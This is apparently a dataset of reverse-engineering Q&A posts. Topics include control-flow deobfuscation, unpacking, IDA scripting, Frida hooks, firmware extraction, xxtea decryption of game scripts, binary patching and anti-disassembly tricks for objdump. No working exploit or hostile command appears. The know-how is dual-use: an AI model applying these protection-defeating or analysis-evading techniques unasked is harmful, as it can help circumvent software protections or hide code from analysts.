+.text:00007FF639A15EB7 040 48 85 C0                                                        test    rax, rax
+.text:00007FF639A15EBA 040 E9 F8 10 44 FF                                                  jmp     loc_7FF638E56FB7
+
+
.text:00007FF638E56FB7                                                     loc_7FF638E56FB7:                       
+.text:00007FF638E56FB7 040 0F 85 F4 C2 B9 FB                                               jnz     near ptr sub_7FF6349F32B1
+.text:00007FF638E56FBD 040 E9 33 EE 9F 02                                                  jmp     loc_7FF63B855DF5
+
+
.text:00007FF63B855DF5                                                     loc_7FF63B855DF5:                       
+.text:00007FF63B855DF5 040 4C 89 74 24 F8                                                  mov     [rsp+40h+var_48], r14
+.text:00007FF63B855DFA 040 48 8D 64 24 F8                                                  lea     rsp, [rsp-8]
+.text:00007FF63B855DFF 048 48 8B 34 24                                                     mov     rsi, [rsp+48h+var_48]
+.text:00007FF63B855E03 048 48 8D 64 24 08                                                  lea     rsp, [rsp+8]
+.text:00007FF63B855E08 040 E9 86 B1 74 FD                                                  jmp     loc_7FF638FA0F93
+
+
.text:00007FF6392FCD6C                                                     loc_7FF6392FCD6C:                       
+.text:00007FF6392FCD6C 048 48 8D 2D 42 65 6F FB                                            lea     rbp, loc_7FF6349F32B5
+.text:00007FF6392FCD73 048 48 87 2C 24                                                     xchg    rbp, [rsp+48h+var_48]
+.text:00007FF6392FCD77 048 48 8D 64 24 08                                                  lea     rsp, [rsp+8]
+.text:00007FF6392FCD7C 040 FF 64 24 F8                                                     jmp     [rsp+40h+var_48]
+
+So on and so forth.. +Efforts +My goal was to create a tool that would take an obfuscated routine, follow along every jump, then create a peephole optimizer that would completely erase instruction sequences such as the lea rsp, [rsp+-], xhng reg, [rsp+x] and others shown and replace them with their "deobfuscated" variants. So I began working on a tool that would emulate certain instructions (especially anything involved with the stack) then create my own "virtual stack" that would hold the same information the original program would. This actually worked, except I didn't account for many things, such as JCCs. The end result shown in my tool was over 60 JMPs and over 200 instructions in the final combined dump (this did not even including the multiple JCC branches which can easily have the same or more CF obfuscation). I feel like my attempt was aimed in the wrong direction. +Guidance +Well. Using my tool, I could probably just skim through the entire assembly and figure out what is going on after adding in conditional branch support, however I still feel unsatisfied. My original goal was to produce a completely optimized, decompilable dump, however I feel like I've hit a dead end due to my design flaws. +I want to ask to everyone who has had the patience to read through this post, on their advice carrying forward, whether it's a library recommendation, or how to re-approach the deobfuscation process I had going here. +For context, I'm analyzing a unpacked dump of a process and using my tool coded in C++ using Zydis disassembler to decode and manually emulate some of the instructions. +" +['unpacking']," Title: What is unpack? how to become professional Unpacker?Body: I asked a lot of questions in this forum about RE and I am a beginner who is very interested in reverse engineering. (i am learning the RE with Lena151) +
    +
  1. What is unpack?
  2. +
  3. Which tools need to unpack a software?
  4. +
  5. Is there anyway for manual unpack?
  6. +
  7. How to unpack software that used unknown packer?
  8. +
  9. Is there any tutorial that learn unpacking 0-100?
  10. +
  11. How-to Go From Zero to Hero in Unpacking?
  12. +
+I want to know more about unpacking, all the things that make me a professional. +" +['ida']," Title: How to move function names, comments, local variable names and structs to a database for a new version of the executable?Body: I have reversed a number of functions and added definitions for some structs in an Intel x64 PE executable. A program got an update. I moved old executable with the old database into another folder and I opened new executable and IDA created new database. +Now I'd like to move information I gathered in the old executable into the new database: function names, comments for specific assembly lines, defined structures, renamed offsets(in the assembly instruction ) to represent offets of structs, etc. +I googled it and found BinDiff plugin for IDA, and successfully ported function names and comments to the same executable(in a small VC++ test solution) opened in another folder with debugging symbols stripped. +But it didn't touch the defined structures. The reason I used a small test project is because when I tried it on a real IDB, it was taking IDA too long to BinDiff the databases: the IDBs are 1.4GB in size with 180k functions recognized by IDA. I left it for half an hour and then decided to try it on a small project. +So how to move all relevant information to the new database for the new version of the executable? +" +"['linux', 'serial-communication', 'virtual-machines']"," Title: How to capture control flow pins on emulated serial port?Body: I am reverse engineering how a CPS software package communicates to a radio device. I have the basics down, and want to trick the software into thinking COM1 is the radio, when in reality I want to capture the control flow pin state changes (CTR and RST). +I am running Windows XP in Qemu and/or Virtual Box with Linux as the base OS. Is there a way for Linux to emulate a software-defined serial port that captures all pin state changes? +I have tried using socat, specifically with something like this socat -d -d pty,raw,echo=0,b9600 pty,raw,echo=0,b9600, but attempts to change the control flow pins on the resulting /dev/pts/X will result in an ioctl error. Also, simple cat /dev/pts/X only shows content sent over the device, not control flow changes. +How would I do this? And, how would I pass the resulting device to a Windows VM to make it think it is communicating with COM1? +Thanks! +" +"['ida', 'idapython']"," Title: Basic Block generated by IDAPython code are different compared to BN generated output fileBody: I have a query regarding different BB count using two different tools. +I have an output file (.txt) against a binary which contains different features about it. I have written IDAPython code to produce the same result as number of BB's and number of instruction in each BB etc. and address as well. +When I compared my result with the one already generated by the BN tool, they are different. Number of BB's are almost 1000 less compared to BN. +May anyone guide me to understand the issue? Regards. +" +['winapi']," Title: Is there any way to watch a block of memory of the current process for change?Body: I'm looking for a way to get notified when some block of memory of the current process change. +To be more specific, I want to track when some fields of a struct change. +Let's say I have one instance of this struct in memory: +
struct {
+   int field_a;
+   int field_b;
+} my_struct;
+
+Is there any way to register a callback to notify me when any field has changed? +I know some debuggers provide "data breakpoints" which pauses execution when a specified variable change. +Is there any way, maybe some win32 debug api or interrupt that make this possible ? +" +"['disassembly', 'assembly', 'firmware', 'embedded']"," Title: Would hiring a RE service be worth it?Body: Before I clarify my question, I will explain the project I'm working on, and what I've done so far so there will be a better understanding of what I'm trying to do. I'm trying to modify the UI of a Roland GR-55 guitar synthesizer so that the UI functions better. To get a view of what exactly I'm trying to do, please view this PDF Firmware layout pdf +So far, I've sent the chip to a lab to have the chip decapped, where optical images were taken of the die markings and circuitry layout. From examining the logo and how it was integrated into the layers, I was able to confirm that it was a Renesas custom SoC. After examining schematics from other products that use the same chip, I was able to find out that the chip's debugger is a Renesas e10a-usb emulator/debugger, which means that the chip belongs to the Super H family. After purchasing the emulator which came with files of all the Super H MCU's schematics, I spent months analyzing the pinouts of all the MCU's until I had a list of the ones that matched my device. From there I was able to identify that the MCU was a Renesas SH2A_custom_SoC1, and successfully connect the emulator to the +GR-55 unit. So currently I've been examining the assembly code within Renesas's IDE High performance embedded workshop or (HEW) and you can probably imagine where I'm going with this question. +So from a professional point of view what would be some routes I could take to get this job completed with the desired results, and what variations of time, cost, and resources could those routes have. Here are some of the routes I took into consideration. +Learn assembly language and learn how to modify the code myself. I estimate this could take me around a year or more. +Hire a Reverse Engineering (RE) service. What would be involved with hiring a RE service? Would it even be likely for a company to take a job like this? If they did, what might be a cost and time frame? I understand that it all varies, and one might have to analyze the code themselves to give me an estimate, but I don't know much about RE and I'm trying to prevent myself from being scammed or disappointed with results. +Another option I considered is hiring an engineer to write new firmware from scratch that functions the same way as the current firmware, but has my desired variations. I've contacted many software engineering freelancers and they told me that this would be the only way they would help because modifying the existing firmware would be more difficult than writing one from scratch. I found this hard to believe because the GR-55 does some complex tasks which I wouldn't think could be easily replicated. But could this be a route I could take? +I understand why someone would think a project like this would be a waste of time and effort, but the reasons I have for doing this are specific to me. As a musician, I've owned this device for 10 years and will probably own and use it for the rest of my life, just like I'll own and use my guitar for the rest of my life. I've owned every other device and software that offers similar features and they all suck including the GR-55. I have friends who use this device too, so it wouldn't be just for myself. I've also made it a goal to learn assembly language and C because it's interesting and I believe it's a good skill to learn, so regardless of whether or not this project fails, I will be continuing to learn about RE. +" +"['ida', 'ollydbg', 'ghidra', 'x64dbg']"," Title: Is there a clear Ollydbg successor?Body: I used Ollydbg 2.01 back in 2014 when Olly was working to create a 64-bit version. I was very eager to see the 64-bit version, but sadly that never came to pass. I abandoned reverse engineering for a while, but now I would like to pick it up again and continue learning. So my question to the experts is whether there is a 64-bit successor to the 32-bit Ollydbg. +Alternatively, what tools do you all use to reverse engineer 64-bit programs? +" +"['ida', 'idapro-sdk', 'ida-plugin']"," Title: Display open handles in IDA pro, just like xdbg?Body: I want to know for example that if a ReadFile is happening and the handle number is 100, which file or whatever this handle belongs to? +lets assume for whatever reason i cannot trace CreateFiles to note handles myself. +Obviously i want this during debugging, so is there any handle table, just like the one that exist in xdbg? +" +"['memory', 'ios', 'frida', 'hash-functions']"," Title: Log input data and resulting hash for CC_MD5 calls in an iOS app with FridaBody: I am trying to understand the usage of calls to CC_MD5 in an iOS application. +From Apple's man page I can see that when it is called it requires 3 arguments: +
extern unsigned char *
+CC_MD5(const void *data, CC_LONG len, unsigned char *md);
+
+where *md is a pointer to where the result will be stored and is also what will be returned. +When CC_MD5 is called I would like to be able to log the input data and the resulting hash and have tried using the following script with Frida, including different ways of printing the data at the return pointer: +
Interceptor.attach(Module.findExportByName("/usr/lib/libSystem.B.dylib", "CC_MD5"), {
+  onEnter: function(args) {
+    console.log("[+] CC_MD5 called with *data: " + Memory.readCString(args[0], parseInt(args[1], 16)));
+    console.log("[+]                    *len:  " + parseInt(args[1], 16));
+    console.log("[+]                    *md:   " + args[2]);
+  },
+  onLeave: function(retval) {
+    console.log("[+] Resulting hash: " + Memory.readCString(ptr(retval),16));
+    console.log("[+] Resulting hash: " + retval.readByteArray(16));
+    console.log("[+] Resulting hash: " + retval.readCString(16));
+  }
+});
+
+I understand that it will not always be printable text that is passed to the function as the input data however am having problems actually reading the resulting hash. Below is an example of the output I am getting: +
[+] CC_MD5 called with *data: MGCopyAnswerProductVersion
+[+]                    *len:  26
+[+]                    *md:   0x16f6d61f0
+[+] Returning *md: 0x16f6d61f0
+[+] Resulting hash: ��]vU
+�)��
+[+] Resulting hash: [object ArrayBuffer]
+[+] Resulting hash: ��]vU
+�)��
+
+I don't know if I have misunderstood how CC_MD5 is called or what I should be able to do with Frida? +" +['python']," Title: Need help understanding the flow of a python script on github repositoryBody: OpenDroneMap is an open source command line toolkit to generate maps, point clouds, 3D models and DEMs from drone, balloon or kite images, here's their github link OpenDroneMap/ODM +Was pointed out to a file ODM/blob/master/stages/odm_app.py, which seems to have the Initializes the application and defines the ODM application pipeline stages. +How to I go about understanding the the entire process flow of the entire pipe line? +I understand that UML (Unified Modelling Language) can be used as a first step. +What would be the best approach? +" +"['c++', '.net', 'dll-injection', 'game-hacking', 'proxy']"," Title: Modify main function for C++ game fileBody: I am trying to modify the main function for a specific decompiled .exe. More specifically, I want to remove the reference to GUI from that .exe file, so that GUI doesn't get initialised on the startup and also make a call to a different function, which normally gets called from the subsequent GUI dialog. +Example: +
__int64 __fastcall gladius::Game::main(gladius::Game *this, int a2, char **a3, char **a4)
+{
+  gladius::Game *v4; // rbx@1
+
+  v4 = this;
+  gladius::Game::initialize(this, a2, a3, a4);
+  proxy::gui::GUI::run(*((proxy::gui::GUI **)v4 + 5));
+  gladius::Game::quit(v4);
+  return 0i64;
+}
+
+called from the entry point to this program: +
int main(int param_1,char **param_2,char **param_3)
+
+{
+  int iVar1;
+  Game local_68 [96];
+  
+  gladius::Game::Game(local_68);
+  iVar1 = gladius::Game::main(local_68,param_1,param_2,param_3);
+  gladius::Game::~Game(local_68);
+  return iVar1;
+}
+
+I want to change this to something like this: +

+__int64 __fastcall gladius::Game::main(gladius::Game *this, int a2, char **a3, char **a4)
+{
+  gladius::Game *v4; // rbx@1
+
+  v4 = this;
+  gladius::Game::initialize(a2, a3, a4);
+  gladius::world::World::create();
+  gladius::Game::quit(v4);
+  return 0i64;
+}
+
+Will call to the gladius::Game::main be possible from say proxy DLL in this case? Or as it is a main function it won't be called properly? +" +"['firmware', 'arm', 'firmware-analysis', 'binwalk']"," Title: Disassembling ARM based Camera FirmwareBody: I'm trying to disassemble hikvision firmware 5.5.85. I want to extract the contents of digicap.dav file. +Binwalk is unable to extract the known zip files. +
binwalk -e  digicap.dav 
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+
+Running Opcode signature shows its ARM based binary. +
└─# binwalk -A  digicap.dav
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+6380591       0x615C2F        ARM instructions, function prologue
+6523606       0x638AD6        ARM instructions, function prologue
+28103893      0x1ACD4D5       ARM instructions, function prologue
+
+Running an entropy analysis shows this: +
binwalk -E digicap.dav 
+
+DECIMAL       HEXADECIMAL     ENTROPY
+--------------------------------------------------------------------------------
+0             0x0             Rising entropy edge (0.995974)
+12599296      0xC04000        Rising entropy edge (0.981657)
+18382848      0x1188000       Falling entropy edge (0.800915)
+18415616      0x1190000       Rising entropy edge (0.954710)
+18907136      0x1208000       Rising entropy edge (0.998649)
+28229632      0x1AEC000       Rising entropy edge (0.987824)
+28426240      0x1B1C000       Rising entropy edge (0.998774)
+29179904      0x1BD4000       Rising entropy edge (0.996414)
+29360128      0x1C00000       Falling entropy edge (0.722392)
+29507584      0x1C24000       Falling entropy edge (0.653426)
+29671424      0x1C4C000       Falling entropy edge (0.546793)
+29835264      0x1C74000       Falling entropy edge (0.579946)
+29949952      0x1C90000       Falling entropy edge (0.550830)
+30048256      0x1CA8000       Falling entropy edge (0.570541)
+30392320      0x1CFC000       Falling entropy edge (0.563434)
+30474240      0x1D10000       Falling entropy edge (0.810232)
+30638080      0x1D38000       Falling entropy edge (0.619405)
+30703616      0x1D48000       Falling entropy edge (0.550830)
+30932992      0x1D80000       Falling entropy edge (0.622278)
+31080448      0x1DA4000       Falling entropy edge (0.551011)
+31129600      0x1DB0000       Falling entropy edge (0.646414)
+31227904      0x1DC8000       Falling entropy edge (0.579931)
+31391744      0x1DF0000       Falling entropy edge (0.544139)
+31440896      0x1DFC000       Rising entropy edge (0.959527)
+31473664      0x1E04000       Rising entropy edge (0.989212)
+32014336      0x1E88000       Rising entropy edge (0.998716)
+33226752      0x1FB0000       Falling entropy edge (0.795215)
+33259520      0x1FB8000       Rising entropy edge (0.959458)
+
+At this point in time, I am guessing this is an encrypted binary. I am new to reverse engineering so I am not too sure how to proceed here in extracting contents from this binary file. +" +"['binary-analysis', 'c', 'ghidra']"," Title: string pointer to byte conversion conditionBody: I am trying to understand the following snippet. I understand that the first check would check if it is even if it would be an int, but I don't understand it in this context. +Could someone explain to me what this does? +
if (((byte)*password & 1) == 0) {
+  buf = password + 1;
+  len = (uint)((byte)*password >> 1);
+}
+else {
+  len = *(uint *)(password + 4);
+  buf = *(basic_string **)(password + 8);
+}
+
+bp = BIO_new_mem_buf(buf,len);
+
+" +"['python', 'decompile']"," Title: uncompyle6 gives success message but output is not readableBody: I am trying to use uncompyle6 to decompile a .pyc code. I even tried --verify option. It says +
+Successfully decompiled file +
+but the output only contains strings like \xe0\xb3\x0bh\x90. +What should I do? +" +"['malware', 'java', 'dynamic-analysis']"," Title: Capturing created and deleted files from a Java fileBody: I am new to the malware analysis field but I do have an issue, a file I am working on creates 2 vbs files, reads from them and deletes them, this all happens in around 2 seconds. Also this is a Java file. +I am using Flare7 and am not able to import any tools due to how we have the environment set up. +Are there any tools that can capture these files? +I know DirWatch can save on modification but these are not being modified, also the source code is encrypted or encoded so I can't just search for the file string. +If anyone could help that would be appreciated! Thank you! +" +['ghidra']," Title: Ghidra: equivalent to IDA-Pro's ""Reset desktop""Body: I have nearly ruined my Ghidra layout, and was wondering if there is an equivalent to IDA-Pro's Windows->Reset Desktop, which would reset the code browser's layout to its default form. +I am aware that I can drag the floating windows back into position. +" +"['decompilation', 'deobfuscation']"," Title: ZKM 15 Deobfuscation (Jar file)Body: Hello I am looking for someone who can deobfuscate a ZKM 15 obfuscated jar file for me. +I am willing to pay money for this. +I mostly just need Strings from the jar file. It doesn't need to be perfect. +Add me and message me on discord: +Bryside#0001 +" +"['patching', '.net', 'hex', 'strings']"," Title: Inserting two digits into binary per Hex - without making EXE corruptBody: I dont have much knowledge with assemblers. I beg ur pardon in advance. +I need to change an IP address in a win-binary (Net) where the IP its hard-coded. +Just changing the IP with an Hex Editor would be that easy. +But the new IP has longer Octet - e.g. + +I want to change the 123.12.12.123 to 123.123.123.123 +Just inserting some digits per Hex Editor makes the file corrupt (adresses from routines etc. are moving I guess). +What would be the "easiest" way to do that? +Thanks. +" +"['windows', 'assembly', 'windbg', 'x86-64']"," Title: What kind of code creates this function call pattern?Body: While using WinDbg: u/uf to disassemble functions in ntoskrnl.exe there are functions that are used in system calls and exception handling that have these weird function call patterns and I can't really make out what is going on. For example, the output of uf nt!KiSystemService has this in the middle of it: +
nt!KiSystemService+0x10b:
+fffff803`66e07acb e80e010000      call    nt!KiSystemService+0x21e (fffff803`66e07bde)
+fffff803`66e07ad0 4883c408        add     rsp,8
+fffff803`66e07ad4 e80e010000      call    nt!KiSystemService+0x227 (fffff803`66e07be7)
+fffff803`66e07ad9 4883c408        add     rsp,8
+fffff803`66e07add e8eeffffff      call    nt!KiSystemService+0x110 (fffff803`66e07ad0)
+fffff803`66e07ae2 4883c408        add     rsp,8
+fffff803`66e07ae6 e8eeffffff      call    nt!KiSystemService+0x119 (fffff803`66e07ad9)
+fffff803`66e07aeb 4883c408        add     rsp,8
+fffff803`66e07aef e8eeffffff      call    nt!KiSystemService+0x122 (fffff803`66e07ae2)
+fffff803`66e07af4 4883c408        add     rsp,8
+fffff803`66e07af8 e8eeffffff      call    nt!KiSystemService+0x12b (fffff803`66e07aeb)
+fffff803`66e07afd 4883c408        add     rsp,8
+fffff803`66e07b01 e8eeffffff      call    nt!KiSystemService+0x134 (fffff803`66e07af4)
+
+Goes on for many many more lines...
+
+
+I'm pretty sure anyone who has poked around ntoskrnl.exe has seen these types of calls before, but I'm not really sure as to what's happening. Is there any explanation as to what kind of C code can cause this kind of ASM code to be compiled, or is this something else from handwritten ASM that's been linked into the executable? +" +"['ida', 'arm']"," Title: How to know when a subroutine starts when reversing an ARM64 file?Body: I'm kinda new in the ARM world, and a question suddenly came up in my mind: how does (your favorite reverse engineering tool) know where a subroutine of an ARM64 file is starting (because I'd like to write a tool to know how many functions the file has)? +thanks in advance. +" +['decryption']," Title: Cocos2d xxtea game lua decryptBody: How can I use the 16 byte xxtea byte as python +I found the password directly but I want to change the bytecode of the password with 16 bytes as in the picture + +
_BYTE *__fastcall sub_D4CA64(__int64 a1, unsigned int a2, __int64 a3, _DWORD *a4)
+{
+  unsigned int v4; // w25
+  unsigned int v5; // w27
+  int v6; // w22
+  _BOOL4 v11; // w26
+  _DWORD *v12; // x20
+  __int64 v13; // x8
+  __int64 v14; // x9
+  __int64 v15; // x13
+  char v16; // w12
+  int v17; // w11
+  _QWORD *v18; // x0
+  _DWORD *v19; // x21
+  int v20; // w8
+  __int64 v21; // x9
+  int v22; // w10
+  __int64 v23; // x12
+  int v24; // w10
+  __int64 v25; // x8
+  unsigned int v26; // w9
+  unsigned int v27; // w12
+  unsigned int v28; // w13
+  __int64 v29; // x14
+  __int64 v30; // x15
+  unsigned int v31; // w16
+  int v32; // w0
+  __int64 v33; // x1
+  int v34; // w16
+  int v35; // w17
+  __int64 v36; // x24
+  _BYTE *v37; // x23
+  _BYTE *v38; // x0
+  __int64 v39; // x8
+  __int64 v40; // x8
+  int v41; // w9
+  __int64 v42; // x10
+  unsigned int v43; // w11
+  _BYTE *v44; // x13
+  unsigned int v45; // w12
+  unsigned int v46; // w11
+  int v47; // w9
+  char v48; // w11
+
+  v4 = a2 >> 2;
+  if ( (a2 & 3) != 0 )
+    v5 = v4 + 1;
+  else
+    v5 = a2 >> 2;
+  v6 = 4 * v5;
+  v11 = (a2 & 3) != 0;
+  v12 = malloc(4 * v5);
+  memset(v12, 0, 4 * v5);
+  if ( a2 )
+  {
+    v13 = 0LL;
+    v14 = 0LL;
+    do
+    {
+      v15 = (unsigned int)v14 >> 2;
+      v16 = v13 & 0x18;
+      v13 += 8LL;
+      v17 = (*(unsigned __int8 *)(a1 + v14++) << v16) | v12[v15];
+      v12[v15] = v17;
+    }
+    while ( 8LL * a2 != v13 );
+  }
+  v18 = malloc(0x10u);
+  v19 = v18;
+  v20 = 0;
+  v21 = 0LL;
+  *v18 = 0LL;
+  v18[1] = 0LL;
+  do
+  {
+    v22 = *(unsigned __int8 *)(a3 + v21);
+    v23 = 4LL * ((unsigned int)v21++ >> 2);
+    v24 = (v22 << (v20 & 0x18)) | *(_DWORD *)((char *)v18 + v23);
+    v20 += 8;
+    *(_DWORD *)((char *)v18 + v23) = v24;
+  }
+  while ( v21 != 16 );
+  v25 = v5 - 1;
+  if ( v5 != 1 )
+  {
+    v26 = -1640531527 * (0x34 / v5) - 1253254570;
+    if ( -1640531527 * (0x34 / v5) != 1253254570 )
+    {
+      v27 = *v12;
+      do
+      {
+        v28 = (v26 >> 2) & 3;
+        v29 = v4 + v11 - 2;
+        v30 = v5 - 1;
+        do
+        {
+          v31 = v12[v29];
+          v32 = ((v31 >> 5) ^ (4 * v27)) + ((16 * v31) ^ (v27 >> 3));
+          v33 = v30;
+          v34 = v19[v30 & 3 ^ v28] ^ v31;
+          v35 = v12[v30--];
+          v27 = v35 - (v32 ^ (v34 + (v27 ^ v26)));
+          --v29;
+          v12[v33] = v27;
+        }
+        while ( (_DWORD)v30 );
+        v27 = *v12
+            - ((((v12[v25] >> 5) ^ (4 * v27)) + ((16 * v12[v25]) ^ (v27 >> 3))) ^ ((v19[v28] ^ v12[v25]) + (v27 ^ v26)));
+        v26 += 1640531527;
+        *v12 = v27;
+      }
+      while ( v26 );
+    }
+  }
+  v36 = (unsigned int)v12[v25];
+  v37 = 0LL;
+  if ( (unsigned int)v36 >= v6 - 7 && (unsigned int)v36 <= v6 - 4 )
+  {
+    v38 = malloc((int)v36 + 1);
+    v37 = v38;
+    if ( !(_DWORD)v36 )
+    {
+      v40 = 0LL;
+LABEL_27:
+      v38[v40] = 0;
+      *a4 = v36;
+      goto LABEL_28;
+    }
+    if ( (_DWORD)v36 == 1 )
+    {
+      v39 = 0LL;
+    }
+    else
+    {
+      v41 = 0;
+      v42 = 0LL;
+      v39 = (unsigned int)v36 & 0xFFFFFFFE;
+      do
+      {
+        v43 = v12[(unsigned int)v42 >> 2];
+        v44 = &v38[v42];
+        v42 += 2LL;
+        v45 = v43 >> (v41 & 0x10);
+        v46 = v43 >> (v41 & 0x10 | 8);
+        v41 += 16;
+        *v44 = v45;
+        v44[1] = v46;
+      }
+      while ( v39 != v42 );
+      if ( v39 == v36 )
+        goto LABEL_26;
+    }
+    v47 = 8 * v39;
+    do
+    {
+      v48 = v47 & 0x18;
+      v47 += 8;
+      v38[v39] = v12[(unsigned int)v39 >> 2] >> v48;
+      ++v39;
+    }
+    while ( v36 != v39 );
+LABEL_26:
+    v40 = v36;
+    goto LABEL_27;
+  }
+LABEL_28:
+  free(v12);
+  free(v19);
+  return v37;
+}
+
+" +"['ida', 'idapython', 'unpacking', 'dumping']"," Title: Reconstructing ""relative"" import functions in IDABody: Apologies in advance if any premises of my question are incorrect, I'm rebuilding imports for the first time and I'm frankly pretty overwhelmed. +I'm reverse engineering a packed win32 executable, so I dumped it with Scylla. My understanding is that typically, one of the first things you do is rebuild the IAT. However, this executable seems to differ in that the majority of the calls don't reference an IAT, example: + +I am having trouble with what to do in this scenario to get pretty names for all of these calls. I found something like an IAT with a massive array of import function symbols and wrote a script that prints out a large list of (address, symbol name) pairs, but then I can't figure out how to input this information into IDA (IDAPython set_name fails as it is not an allocated address). +Could I have general advice on what to do here? (some way to tell IDA a DLL loads somewhere and it gets symbols, somehow define my list of symbols despite IDA not knowing about the memory, etc.) I suspect I am missing something really simple since the fact that I'm able to generate my list means I have the information, just not how to input it! +" +"['assembly', 'c', 'obfuscation', 'objdump']"," Title: Confusing objdump with data as codeBody: I am trying to confuse objdump to solve the first exercise of chapter 6 in Practical Binary Analysis. Admittedly I am super weak with inline assembler but I made a best-effort attempt and tried to get it to do so. I was unable to directly embed inline data into the function (probably because I am missing something) without causing a segmentation fault when run. Obviously, the program should run correctly but screw up the linear disassembler. +For example, if I just dump data bytes directly into the function gcc will not interpret it correctly and cause it to segfault due to a bad assembly: +
#include <stdio.h>
+
+int main(int argc, char **argv)
+{
+    asm(".intel_syntax noprefix");
+    asm(".ascii \"\\x6a\\x20\\x89\\x7d\\xec\\xc7\" \n");
+
+    int x = 1;
+    printf("%d\n", x);
+}
+
+This obvious screws up objdump... +
0000000000001149 <main>:
+    1149:   f3 0f 1e fa             endbr64 
+    114d:   55                      push   rbp
+    114e:   48 89 e5                mov    rbp,rsp
+    1151:   48 83 ec 20             sub    rsp,0x20
+    1155:   89 7d ec                mov    DWORD PTR [rbp-0x14],edi
+    1158:   48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi
+    115c:   6a 20                   push   0x20
+    115e:   89 7d ec                mov    DWORD PTR [rbp-0x14],edi
+    1161:   c7 c7 45 fc 01 00       mov    edi,0x1fc45
+    1167:   00 00                   add    BYTE PTR [rax],al
+    1169:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
+    116c:   89 c6                   mov    esi,eax
+    116e:   48 8d 3d 8f 0e 00 00    lea    rdi,[rip+0xe8f]        # 2004 <_IO_stdin_used+0x4>
+    1175:   b8 00 00 00 00          mov    eax,0x0
+    117a:   e8 d1 fe ff ff          call   1050 <printf@plt>
+    117f:   b8 00 00 00 00          mov    eax,0x0
+    1184:   c9                      leave  
+    1185:   c3                      ret    
+    1186:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
+    118d:   00 00 00 
+
+There are nonsense bytes starting at 155c. But this will seg fault naturally because its clobbering all sorts of stuff. +If I try something more tame it doesn't segfault but it also doesn't force desync: +
#include <stdio.h>
+
+__asm__(".intel_syntax noprefix\n"
+        "array: .word 0x20, 0x20, 0x20, 0x20\n");
+
+int main(int argc, char **argv)
+{
+    int x = 1;
+    printf("%d\n", x);
+}
+
+This will run but as expected array will live in it's own section: +
0000000000001149 <array>:
+    1149:   20 00                   and    BYTE PTR [rax],al
+    114b:   20 00                   and    BYTE PTR [rax],al
+    114d:   20 00                   and    BYTE PTR [rax],al
+    114f:   20 00                   and    BYTE PTR [rax],al
+
+and while objdump translates this as code it is coincidence and isn't desync'd. +What am I missing to force this? I have been reading assembly directives and documentation for the better part of a day now and don't seem to be arriving at any better conclusions. +EDIT: +I have been able to get it to read data as code using the following: +
#include <stdio.h>
+
+int main(int argc, char **argv)
+{
+    asm volatile goto ("jmp %l[result]\n"
+        :
+        :
+        :
+        : result);
+    asm volatile(".ascii \"\\x6a\\x20\\x89\\x7d\\xEC\\x38\\x67\\x20\" \n");
+
+    int x = 1;
+    result:
+        printf("%d\n", x);
+}
+
+
    +
  • +
+
0000000000001149 <main>:
+    1149:   f3 0f 1e fa             endbr64 
+    114d:   55                      push   rbp
+    114e:   48 89 e5                mov    rbp,rsp
+    1151:   48 83 ec 20             sub    rsp,0x20
+    1155:   89 7d ec                mov    DWORD PTR [rbp-0x14],edi
+    1158:   48 89 75 e0             mov    QWORD PTR [rbp-0x20],rsi
+    115c:   eb 0f                   jmp    116d <main+0x24>
+    115e:   6a 20                   push   0x20
+    1160:   89 7d ec                mov    DWORD PTR [rbp-0x14],edi
+    1163:   38 67 20                cmp    BYTE PTR [rdi+0x20],ah
+    1166:   c7 45 fc 01 00 00 00    mov    DWORD PTR [rbp-0x4],0x1
+    116d:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
+    1170:   89 c6                   mov    esi,eax
+    1172:   48 8d 3d 8b 0e 00 00    lea    rdi,[rip+0xe8b]        # 2004 <_IO_stdin_used+0x4>
+    1179:   b8 00 00 00 00          mov    eax,0x0
+    117e:   e8 cd fe ff ff          call   1050 <printf@plt>
+    1183:   b8 00 00 00 00          mov    eax,0x0
+    1188:   c9                      leave  
+    1189:   c3                      ret    
+    118a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
+
+But this feels like cheating to me because to any even novice reverse engineer the unconditional jump is completely obvious. Though now the code works and there's garbage data bytes being read as code... +" +"['static-analysis', 'exception', 'seh']"," Title: Determine if the function has try/catch statement via the static analysisBody: I need to determine if the function has exception handler via static analysis. Initially I thought that if there's SEH handler prolog in the function, then the function should have try /catch. I.e. I thought if x86 function has instructions like: +
.text:004125E3                 push    0FFFFFFFFh
+.text:004125E5                 push    418540h
+.text:004125EA                 mov     eax, large fs:0
+
+there should be try/catch. +But after compiling some C++ code samples I've found that these instructions are added even if there's no try/catch, but a call to throw(). Thus it looks like it's impossible to determine if the function actually has the exception hander or not. +On AMD64, it's even more obscure, since there are no exception related instructions. The information about the exception handler seems to be encoded with Exception Directory in PE header. The data in Exception Directory points to function start, function end and Unwind info. I thought that if function doesn't have try/catch there will be no entry in the Exception Directory. But similarly to x86, if the function calls throw() it has the entry in the Exception Directory, even if there's no try/catch in the source code. +So the question is: how does the system know if there's an exception hander for a function and to distinguish the function which have no try/catch from those which have it? +" +"['ida', 'idapython', 'static-analysis']"," Title: IDA script: How to properly undefine a byte and then redefine codeBody: I'm trying to correct the following instructions in IDA using a script: +
jnb     short near ptr loc_1C61B1+3
+
+It order to do this I'm running a snippet like this in a script: +
ida_bytes.del_value(loc_1C61B1)
+idc.create_insn(loc_1C61B1+3)
+
+I've tried many variations on this including trying to auto wait for the analyzer using ida_auto.*_wait() functions, ida_auto.*_plan functions, deleting multiples bytes (ida_bytes.del_items), etc. but no matter what I do I cannot get the same analyzer outcome as if I ran the 2 functions above manually in the command bar. My guess is there's some race conditions happening with the analyzer. +How do I properly achieve the following in a script: +
    +
  • Undefine code at location x.
  • +
  • Give the analyzer enough time to do its things.
  • +
  • Make code at location x + y.
  • +
  • Get the same outcome as if I have done the steps manually.
  • +
